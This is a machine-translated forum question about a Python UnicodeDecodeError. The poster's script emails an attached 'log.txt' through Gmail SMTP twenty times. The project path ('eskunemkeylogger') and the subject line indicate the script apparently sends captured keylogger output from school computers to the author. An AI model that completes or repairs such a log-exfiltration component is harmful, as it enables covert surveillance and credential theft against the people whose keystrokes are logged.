Файл "C: /PycharmProjects/eskunemlogger/eskunemlogger.pyw", строка 33, в <module>server = smtplib.SMTP ('smtp.gmail.com', 587) - PullRequest
0 голосов
/ 16 октября 2018

Так что я пытаюсь сделать отправителя электронной почты, просто для удовольствия.Он не может что-то декодировать, но я не могу найти ошибку, я хотел бы поблагодарить за любую помощь.Я запустил Python 3-4 месяца назад, поэтому, если вам интересно, почему я не могу найти его, из-за этого.Буду признателен за любую помощь.Спасибо:)

Вот мой код:

import stuff

emailfelhasz = 'mail'
emailjelsz = 'passwrd'
emailfelhkuld = 'mail'

targy = 'logok sulibol lenny'

msg = MIMEMultipart()
msg['From'] = emailfelhasz
msg['To'] = emailfelhkuld
msg['Subject'] = targy

body = 'Ujabb log'
msg.attach(MIMEText(body, 'plain'))

filename = 'log.txt'
attachment = open(filename, 'rb')

part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(emailfelhasz, emailjelsz)
print("Sikeres belépés")

for i in range(0, 20):
    server.sendmail(emailfelhasz, emailfelhkuld, text)
    print("Email elküldve")

server.quit()

И ошибка:

Traceback (most recent call last):
  File "C:/PycharmProjects/eskunemkeylogger/eskunemlogger.pyw", line 33, in <module>
    server = smtplib.SMTP('smtp.gmail.com', 587)
  File "C:\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 261, in __init__
    fqdn = socket.getfqdn()
  File "C:\AppData\Local\Programs\Python\Python36-32\lib\socket.py", line 673, in getfqdn
    hostname, aliases, ipaddrs = gethostbyaddr(name)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf3 in position 1: invalid continuation byte
...